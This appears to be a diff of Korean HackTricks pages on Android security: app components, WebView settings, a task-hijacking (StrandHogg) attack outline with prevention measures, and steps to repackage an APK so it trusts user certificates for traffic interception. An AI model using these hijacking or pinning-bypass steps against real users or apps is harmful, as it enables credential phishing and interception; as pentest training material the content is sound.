- **메신저**: 바운드 서비스로 작동하는 메신저는 `onBind` 메소드를 통해 데이터를 처리하는 데 중점을 두고 IPC를 용이하게 합니다. 이 메소드를 면밀히 검사하여 안전하지 않은 데이터 처리나 민감한 기능의 실행이 있는지 확인하는 것이 중요합니다.
|
- **메신저**: 바운드 서비스로 작동하는 메신저는 `onBind` 메소드를 통해 데이터를 처리하는 데 중점을 두고 IPC를 용이하게 합니다. 이 메소드를 면밀히 검사하여 안전하지 않은 데이터 처리나 민감한 기능의 실행이 있는지 확인하는 것이 중요합니다.
|
||||||
|
|
||||||
- **바인더**: AIDL의 추상화로 인해 바인더 클래스를 직접 사용하는 경우는 드물지만, 바인더가 서로 다른 프로세스의 메모리 공간 간 데이터 전송을 용이하게 하는 커널 수준의 드라이버 역할을 한다는 것을 이해하는 것이 유익합니다. 더 자세한 이해를 위해 [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8)에서 자료를 확인할 수 있습니다.
|
- **바인더**: AIDL의 추상화로 인해 바인더 클래스를 직접 사용하는 것은 덜 일반적이지만, 바인더가 서로 다른 프로세스의 메모리 공간 간 데이터 전송을 용이하게 하는 커널 수준 드라이버 역할을 한다는 것을 이해하는 것이 유익합니다. 더 자세한 이해를 위해 [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8)에서 자료를 확인할 수 있습니다.
|
||||||
|
|
||||||
## 구성 요소
|
## 구성 요소
|
||||||
|
|
||||||
여기에는 **액티비티, 서비스, 브로드캐스트 리시버 및 프로바이더**가 포함됩니다.
|
여기에는 **액티비티, 서비스, 브로드캐스트 수신기 및 프로바이더**가 포함됩니다.
|
||||||
|
|
||||||
### 런처 액티비티 및 기타 액티비티
|
### 런처 액티비티 및 기타 액티비티
|
||||||
|
|
||||||
안드로이드 앱에서 **액티비티**는 화면과 같으며, 앱의 사용자 인터페이스의 다양한 부분을 보여줍니다. 앱은 여러 개의 액티비티를 가질 수 있으며, 각 액티비티는 사용자에게 고유한 화면을 제공합니다.
|
안드로이드 앱에서 **액티비티**는 화면과 같으며, 앱의 사용자 인터페이스의 다양한 부분을 보여줍니다. 앱은 여러 개의 액티비티를 가질 수 있으며, 각 액티비티는 사용자에게 고유한 화면을 제공합니다.
|
||||||
|
|
||||||
**런처 액티비티**는 앱의 주요 게이트웨이로, 앱 아이콘을 탭할 때 시작됩니다. 이는 앱의 매니페스트 파일에 특정 MAIN 및 LAUNCHER 인텐트와 함께 정의됩니다:
|
**런처 액티비티**는 앱의 주요 게이트웨이로, 앱 아이콘을 탭할 때 실행됩니다. 이는 앱의 매니페스트 파일에 특정 MAIN 및 LAUNCHER 인텐트로 정의됩니다:
|
||||||
```markup
|
```markup
|
||||||
<activity android:name=".LauncherActivity">
|
<activity android:name=".LauncherActivity">
|
||||||
<intent-filter>
|
<intent-filter>
|
||||||
|
@ -266,7 +258,7 @@ HTML 페이지를 사용하지 않고 [딥 링크를 호출하는 방법](./#exp
|
||||||
</intent-filter>
|
</intent-filter>
|
||||||
</activity>
|
</activity>
|
||||||
```
|
```
|
||||||
모든 앱이 런처 액티비티가 필요하지는 않으며, 특히 사용자 인터페이스가 없는 백그라운드 서비스와 같은 앱은 그렇습니다.
|
모든 앱이 런처 액티비티를 필요로 하는 것은 아니며, 특히 사용자 인터페이스가 없는 백그라운드 서비스와 같은 앱은 그렇습니다.
|
||||||
|
|
||||||
액티비티는 매니페스트에서 "exported"로 표시하여 다른 앱이나 프로세스에서 사용할 수 있도록 만들 수 있습니다. 이 설정은 다른 앱이 이 액티비티를 시작할 수 있도록 허용합니다:
|
액티비티는 매니페스트에서 "exported"로 표시하여 다른 앱이나 프로세스에서 사용할 수 있도록 만들 수 있습니다. 이 설정은 다른 앱이 이 액티비티를 시작할 수 있도록 허용합니다:
|
||||||
```markdown
|
```markdown
|
||||||
|
@ -296,11 +288,11 @@ super.onCreate();
|
||||||
```
|
```
|
||||||
### Services
|
### Services
|
||||||
|
|
||||||
[Services](https://developer.android.com/guide/components/services)는 **백그라운드 작업자**로, 사용자 인터페이스 없이 작업을 실행할 수 있습니다. 이러한 작업은 사용자가 다른 애플리케이션으로 전환하더라도 계속 실행될 수 있어, 서비스는 **장기 실행 작업**에 필수적입니다.
|
[Services](https://developer.android.com/guide/components/services)는 **백그라운드 작업자**로, 사용자 인터페이스 없이 작업을 실행할 수 있습니다. 이러한 작업은 사용자가 다른 애플리케이션으로 전환하더라도 계속 실행될 수 있어, **장기 실행 작업**에 필수적입니다.
|
||||||
|
|
||||||
서비스는 다재다능하며, 다양한 방법으로 시작될 수 있으며, **Intents**가 애플리케이션의 진입점으로서 서비스를 시작하는 주요 방법입니다. `startService` 메서드를 사용하여 서비스가 시작되면, `onStart` 메서드가 작동을 시작하고 `stopService` 메서드가 명시적으로 호출될 때까지 계속 실행됩니다. 또는 서비스의 역할이 활성 클라이언트 연결에 의존하는 경우, `bindService` 메서드를 사용하여 클라이언트를 서비스에 바인딩하고, 데이터 전송을 위해 `onBind` 메서드를 활성화합니다.
|
Services는 다재다능하며, 다양한 방법으로 시작될 수 있으며, **Intents**가 애플리케이션의 진입점으로서 서비스를 시작하는 주요 방법입니다. `startService` 메서드를 사용하여 서비스가 시작되면, `onStart` 메서드가 작동을 시작하고 `stopService` 메서드가 명시적으로 호출될 때까지 계속 실행됩니다. 또는 서비스의 역할이 활성 클라이언트 연결에 의존하는 경우, `bindService` 메서드를 사용하여 클라이언트를 서비스에 바인딩하고, 데이터 전송을 위해 `onBind` 메서드를 활성화합니다.
|
||||||
|
|
||||||
서비스의 흥미로운 응용 프로그램에는 백그라운드 음악 재생 또는 사용자의 앱 상호작용을 방해하지 않고 네트워크 데이터 가져오기가 포함됩니다. 또한, 서비스는 **내보내기**를 통해 동일한 장치의 다른 프로세스에서 접근할 수 있도록 설정할 수 있습니다. 이는 기본 동작이 아니며 Android Manifest 파일에서 명시적인 구성이 필요합니다:
|
서비스의 흥미로운 응용 프로그램에는 백그라운드 음악 재생 또는 사용자의 앱 상호작용을 방해하지 않고 네트워크 데이터 가져오기가 포함됩니다. 또한, 서비스는 **exporting**을 통해 동일한 장치의 다른 프로세스에서 접근할 수 있도록 만들 수 있습니다. 이는 기본 동작이 아니며 Android Manifest 파일에서 명시적인 구성이 필요합니다:
|
||||||
```xml
|
```xml
|
||||||
<service android:name=".ExampleExportedService" android:exported="true"/>
|
<service android:name=".ExampleExportedService" android:exported="true"/>
|
||||||
```
|
```
|
||||||
|
@ -308,9 +300,9 @@ super.onCreate();
|
||||||
|
|
||||||
**Broadcast receivers**는 메시징 시스템에서 리스너 역할을 하여 여러 애플리케이션이 시스템의 동일한 메시지에 응답할 수 있도록 합니다. 앱은 **Manifest**를 통해 또는 **`registerReceiver`** API를 사용하여 앱 코드 내에서 **두 가지 주요 방법**으로 **리시버를 등록**할 수 있습니다. Manifest에서는 브로드캐스트가 권한으로 필터링되며, 동적으로 등록된 리시버는 등록 시 권한을 지정할 수도 있습니다.
|
**Broadcast receivers**는 메시징 시스템에서 리스너 역할을 하여 여러 애플리케이션이 시스템의 동일한 메시지에 응답할 수 있도록 합니다. 앱은 **Manifest**를 통해 또는 **`registerReceiver`** API를 사용하여 앱 코드 내에서 **두 가지 주요 방법**으로 **리시버를 등록**할 수 있습니다. Manifest에서는 브로드캐스트가 권한으로 필터링되며, 동적으로 등록된 리시버는 등록 시 권한을 지정할 수도 있습니다.
|
||||||
|
|
||||||
**Intent 필터**는 두 등록 방법 모두에서 중요하며, 어떤 브로드캐스트가 리시버를 트리거하는지를 결정합니다. 일치하는 브로드캐스트가 전송되면 리시버의 **`onReceive`** 메서드가 호출되어 앱이 저전압 경고에 대한 반응으로 동작을 조정하는 등의 방식으로 반응할 수 있게 합니다.
|
**Intent 필터**는 두 등록 방법 모두에서 중요하며, 어떤 브로드캐스트가 리시버를 트리거하는지를 결정합니다. 일치하는 브로드캐스트가 전송되면 리시버의 **`onReceive`** 메서드가 호출되어 앱이 저전력 경고에 대한 반응과 같은 방식으로 적절히 반응할 수 있게 합니다.
|
||||||
|
|
||||||
브로드캐스트는 **비동기적**일 수 있으며, 순서 없이 모든 리시버에 도달하거나 **동기적**일 수 있으며, 리시버가 설정된 우선 순위에 따라 브로드캐스트를 받습니다. 그러나 모든 앱이 브로드캐스트를 가로채기 위해 자신을 우선시할 수 있으므로 잠재적인 보안 위험을 주의해야 합니다.
|
브로드캐스트는 **비동기**일 수 있으며, 순서 없이 모든 리시버에 도달하거나 **동기**일 수 있으며, 리시버가 설정된 우선 순위에 따라 브로드캐스트를 받습니다. 그러나 모든 앱이 자신을 우선시하여 브로드캐스트를 가로챌 수 있는 잠재적인 보안 위험이 있다는 점에 유의해야 합니다.
|
||||||
|
|
||||||
리시버의 기능을 이해하려면 해당 클래스 내에서 **`onReceive`** 메서드를 찾아보세요. 이 메서드의 코드는 수신된 Intent를 조작할 수 있으며, 특히 Intent를 수정하거나 삭제할 수 있는 **Ordered Broadcasts**에서 리시버에 의한 데이터 검증의 필요성을 강조합니다.
|
리시버의 기능을 이해하려면 해당 클래스 내에서 **`onReceive`** 메서드를 찾아보세요. 이 메서드의 코드는 수신된 Intent를 조작할 수 있으며, 특히 Intent를 수정하거나 삭제할 수 있는 **Ordered Broadcasts**에서 리시버에 의한 데이터 검증의 필요성을 강조합니다.
|
||||||
|
|
||||||
|
@ -355,12 +347,12 @@ Android는 두 가지 주요 WebView 유형을 제공합니다:
|
||||||
|
|
||||||
콘텐츠를 로드하기 위해 ````loadUrl````, ````loadData````, 및 ````loadDataWithBaseURL````와 같은 메서드를 사용할 수 있습니다. 이러한 URL 또는 파일이 **안전하게 사용될 수 있는지** 확인하는 것이 중요합니다. 보안 설정은 ````WebSettings```` 클래스를 통해 관리할 수 있습니다. 예를 들어, ````setJavaScriptEnabled(false)````로 JavaScript를 비활성화하면 XSS 공격을 방지할 수 있습니다.
|
콘텐츠를 로드하기 위해 ````loadUrl````, ````loadData````, 및 ````loadDataWithBaseURL````와 같은 메서드를 사용할 수 있습니다. 이러한 URL 또는 파일이 **안전하게 사용될 수 있는지** 확인하는 것이 중요합니다. 보안 설정은 ````WebSettings```` 클래스를 통해 관리할 수 있습니다. 예를 들어, ````setJavaScriptEnabled(false)````로 JavaScript를 비활성화하면 XSS 공격을 방지할 수 있습니다.
|
||||||
|
|
||||||
JavaScript "Bridge"는 Java 객체가 JavaScript와 상호작용할 수 있게 하며, Android 4.2 이상부터 보안을 위해 메서드에 ````@JavascriptInterface````로 표시해야 합니다.
|
JavaScript "Bridge"는 Java 객체가 JavaScript와 상호작용할 수 있게 하며, Android 4.2 이후 보안을 위해 메서드에 ````@JavascriptInterface````로 표시해야 합니다.
|
||||||
|
|
||||||
콘텐츠 접근을 허용하는 (````setAllowContentAccess(true)````) 것은 WebViews가 콘텐츠 제공자에 접근할 수 있게 하며, 콘텐츠 URL이 안전하다고 확인되지 않으면 위험이 될 수 있습니다.
|
콘텐츠 접근을 허용하는 (````setAllowContentAccess(true)````) 것은 WebViews가 콘텐츠 제공자에 접근할 수 있게 하며, 콘텐츠 URL이 안전하다고 확인되지 않으면 위험이 될 수 있습니다.
|
||||||
|
|
||||||
파일 접근을 제어하기 위해:
|
파일 접근을 제어하기 위해:
|
||||||
- 파일 접근을 비활성화하는 (````setAllowFileAccess(false)````) 것은 파일 시스템에 대한 접근을 제한하며, 특정 자산에 대한 예외가 있어 비민감 콘텐츠에만 사용되도록 보장합니다.
|
- 파일 접근 비활성화 (````setAllowFileAccess(false)````)는 파일 시스템에 대한 접근을 제한하며, 특정 자산에 대한 예외를 두어 비민감 콘텐츠에만 사용되도록 보장합니다.
|
||||||
|
|
||||||
## Other App Components and Mobile Device Management
|
## Other App Components and Mobile Device Management
|
||||||
|
|
||||||
|
@ -385,12 +377,6 @@ if (dpm.isAdminActive(adminComponent)) {
|
||||||
dpm.setPasswordMinimumLength(adminComponent, 8);
|
dpm.setPasswordMinimumLength(adminComponent, 8);
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
|
@ -1,87 +1,74 @@
|
||||||
# 안드로이드 작업 하이재킹
|
# Android Task Hijacking
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>HackTricks 지원하기</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
## Task, Back Stack and Foreground Activities
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
안드로이드에서 **task**는 사용자가 특정 작업을 완료하기 위해 상호작용하는 활동의 집합으로, **back stack** 내에 조직됩니다. 이 스택은 활동이 열린 순서에 따라 활동을 정렬하며, 가장 최근의 활동이 가장 위에 표시되어 **foreground activity**가 됩니다. 언제든지 이 활동만 화면에 표시되어 **foreground task**의 일부가 됩니다.
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## 작업, 백 스택 및 포그라운드 활동
|
|
||||||
|
|
||||||
안드로이드에서 **작업**은 사용자가 특정 작업을 완료하기 위해 상호작용하는 활동의 집합으로, **백 스택** 내에 조직됩니다. 이 스택은 활동이 열린 순서에 따라 활동을 정렬하며, 가장 최근의 활동이 가장 위에 표시되어 **포그라운드 활동**이 됩니다. 언제든지 이 활동만 화면에 표시되어 **포그라운드 작업**의 일부가 됩니다.
|
|
||||||
|
|
||||||
활동 전환에 대한 간단한 요약은 다음과 같습니다:
|
활동 전환에 대한 간단한 요약은 다음과 같습니다:
|
||||||
|
|
||||||
* **활동 1**은 포그라운드에서 유일한 활동으로 시작됩니다.
|
* **Activity 1**은 전면에서 유일한 활동으로 시작됩니다.
|
||||||
* **활동 2**를 시작하면 **활동 1**이 백 스택으로 밀려나고, **활동 2**가 포그라운드로 옵니다.
|
* **Activity 2**를 시작하면 **Activity 1**이 백 스택으로 밀려나고, **Activity 2**가 전면으로 나옵니다.
|
||||||
* **활동 3**을 시작하면 **활동 1**과 **활동 2**가 스택에서 더 뒤로 밀려나고, **활동 3**이 앞에 위치합니다.
|
* **Activity 3**을 시작하면 **Activity 1**과 **Activity 2**가 스택에서 더 뒤로 밀려나고, **Activity 3**이 이제 앞에 위치합니다.
|
||||||
* **활동 3**을 닫으면 **활동 2**가 다시 포그라운드로 돌아와 안드로이드의 간소화된 작업 탐색 메커니즘을 보여줍니다.
|
* **Activity 3**을 닫으면 **Activity 2**가 다시 전면으로 나와 안드로이드의 간소화된 작업 탐색 메커니즘을 보여줍니다.
|
||||||
|
|
||||||
![https://developer.android.com/images/fundamentals/diagram\_backstack.png](<../../.gitbook/assets/image (698).png>)
|
![https://developer.android.com/images/fundamentals/diagram\_backstack.png](<../../.gitbook/assets/image (698).png>)
|
||||||
|
|
||||||
## 작업 친화성 공격
|
## Task affinity attack
|
||||||
|
|
||||||
### 작업 친화성 및 시작 모드 개요
|
### Overview of Task Affinity and Launch Modes
|
||||||
|
|
||||||
안드로이드 애플리케이션에서 **작업 친화성**은 활동의 선호 작업을 지정하며, 일반적으로 앱의 패키지 이름과 일치합니다. 이 설정은 공격을 시연하기 위한 개념 증명(PoC) 앱을 만드는 데 중요합니다.
|
안드로이드 애플리케이션에서 **task affinity**는 활동의 선호 작업을 지정하며, 일반적으로 앱의 패키지 이름과 일치합니다. 이 설정은 공격을 시연하기 위한 개념 증명(PoC) 앱을 만드는 데 중요합니다.
|
||||||
|
|
||||||
### 시작 모드
|
### Launch Modes
|
||||||
|
|
||||||
`launchMode` 속성은 작업 내에서 활동 인스턴스의 처리를 지시합니다. **singleTask** 모드는 이 공격에 중추적이며, 기존 활동 인스턴스와 작업 친화성 일치에 따라 세 가지 시나리오를 지시합니다. 이 공격은 공격자의 앱이 대상 앱의 작업 친화성을 모방할 수 있는 능력에 의존하여, 안드로이드 시스템이 의도한 대상을 대신하여 공격자의 앱을 시작하도록 유도합니다.
|
`launchMode` 속성은 작업 내에서 활동 인스턴스를 처리하는 방법을 지시합니다. **singleTask** 모드는 이 공격에 중추적이며, 기존 활동 인스턴스와 작업 친화성 일치에 따라 세 가지 시나리오를 지시합니다. 이 공격은 공격자의 앱이 대상 앱의 작업 친화성을 모방할 수 있는 능력에 의존하여, 안드로이드 시스템이 의도한 대상을 대신하여 공격자의 앱을 실행하도록 유도합니다.
|
||||||
|
|
||||||
### 상세 공격 단계
|
### Detailed Attack Steps
|
||||||
|
|
||||||
1. **악성 앱 설치**: 피해자가 자신의 장치에 공격자의 앱을 설치합니다.
|
1. **악성 앱 설치**: 피해자가 자신의 장치에 공격자의 앱을 설치합니다.
|
||||||
2. **초기 활성화**: 피해자가 악성 앱을 처음 열어 공격을 위한 장치를 설정합니다.
|
2. **초기 활성화**: 피해자가 처음으로 악성 앱을 열어 공격을 위한 장치를 설정합니다.
|
||||||
3. **대상 앱 시작 시도**: 피해자가 대상 앱을 열려고 시도합니다.
|
3. **대상 앱 실행 시도**: 피해자가 대상 앱을 열려고 시도합니다.
|
||||||
4. **하이재킹 실행**: 일치하는 작업 친화성으로 인해 악성 앱이 대상 앱 대신 실행됩니다.
|
4. **하이재킹 실행**: 일치하는 작업 친화성으로 인해 악성 앱이 대상 앱 대신 실행됩니다.
|
||||||
5. **기만**: 악성 앱이 대상 앱과 유사한 가짜 로그인 화면을 표시하여 사용자가 민감한 정보를 입력하도록 속입니다.
|
5. **기만**: 악성 앱이 대상 앱과 유사한 가짜 로그인 화면을 표시하여 사용자가 민감한 정보를 입력하도록 속입니다.
|
||||||
|
|
||||||
이 공격의 실용적인 구현에 대해서는 GitHub의 Task Hijacking Strandhogg 리포지토리를 참조하세요: [Task Hijacking Strandhogg](https://github.com/az0mb13/Task\_Hijacking\_Strandhogg).
|
이 공격의 실제 구현을 위해 GitHub의 Task Hijacking Strandhogg 리포지토리를 참조하십시오: [Task Hijacking Strandhogg](https://github.com/az0mb13/Task\_Hijacking\_Strandhogg).
|
||||||
|
|
||||||
### 예방 조치
|
### Prevention Measures
|
||||||
|
|
||||||
이러한 공격을 방지하기 위해 개발자는 `taskAffinity`를 빈 문자열로 설정하고 `singleInstance` 시작 모드를 선택하여 자신의 앱이 다른 앱과 격리되도록 할 수 있습니다. `onBackPressed()` 함수를 사용자 정의하면 작업 하이재킹에 대한 추가 보호를 제공합니다.
|
이러한 공격을 방지하기 위해 개발자는 `taskAffinity`를 빈 문자열로 설정하고 `singleInstance` 실행 모드를 선택하여 자신의 앱이 다른 앱과 격리되도록 할 수 있습니다. `onBackPressed()` 함수를 사용자 정의하면 작업 하이재킹에 대한 추가 보호를 제공합니다.
|
||||||
|
|
||||||
## **참고 문헌**
|
## **References**
|
||||||
|
|
||||||
* [**https://blog.dixitaditya.com/android-task-hijacking/**](https://blog.dixitaditya.com/android-task-hijacking/)
|
* [**https://blog.dixitaditya.com/android-task-hijacking/**](https://blog.dixitaditya.com/android-task-hijacking/)
|
||||||
* [**https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html**](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html)
|
* [**https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html**](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html)
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>HackTricks 지원하기</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -13,19 +13,11 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
일부 애플리케이션은 사용자가 다운로드한 인증서를 좋아하지 않으므로, 일부 앱의 웹 트래픽을 검사하기 위해 실제로 애플리케이션을 디컴파일하고 몇 가지를 추가한 후 다시 컴파일해야 합니다.
|
일부 애플리케이션은 사용자가 다운로드한 인증서를 좋아하지 않으므로, 일부 앱의 웹 트래픽을 검사하기 위해 실제로 애플리케이션을 디컴파일하고 몇 가지를 추가한 후 다시 컴파일해야 합니다.
|
||||||
|
|
||||||
# 자동
|
# 자동
|
||||||
|
|
||||||
도구 [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm)는 요청을 캡처하기 위해 애플리케이션에 필요한 변경 사항을 **자동으로** 수행하며, 인증서 핀닝을 비활성화합니다(있는 경우).
|
도구 [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm)는 요청을 캡처하기 위해 애플리케이션에 필요한 변경 사항을 **자동으로** 적용하고 인증서 핀닝을 비활성화합니다(있는 경우).
|
||||||
|
|
||||||
# 수동
|
# 수동
|
||||||
|
|
||||||
|
@ -45,7 +37,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
|
|
||||||
![](../../.gitbook/assets/img11.png)
|
![](../../.gitbook/assets/img11.png)
|
||||||
|
|
||||||
이제 **res/xml** 폴더로 들어가 network\_security\_config.xml라는 파일을 생성하거나 수정하고 다음 내용을 추가합니다:
|
이제 **res/xml** 폴더로 들어가 network\_security\_config.xml라는 파일을 다음 내용으로 생성/수정합니다:
|
||||||
```markup
|
```markup
|
||||||
<network-security-config>
|
<network-security-config>
|
||||||
<base-config>
|
<base-config>
|
||||||
|
@ -62,7 +54,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
|
|
||||||
![](../../.gitbook/assets/img12.png)
|
![](../../.gitbook/assets/img12.png)
|
||||||
|
|
||||||
마지막으로, **새 애플리케이션에 서명해야** 합니다. [서명하는 방법을 배우려면 이 페이지의 Smali - Decompiling/\[Modifying\]/Compiling 섹션을 읽으세요](smali-changes.md#sing-the-new-apk).
|
마지막으로, **새 애플리케이션에 서명해야 합니다**. [서명하는 방법을 배우려면 이 페이지의 Smali - Decompiling/\[Modifying\]/Compiling 섹션을 읽으세요](smali-changes.md#sing-the-new-apk).
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
@ -74,7 +66,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
||||||
|
|
||||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
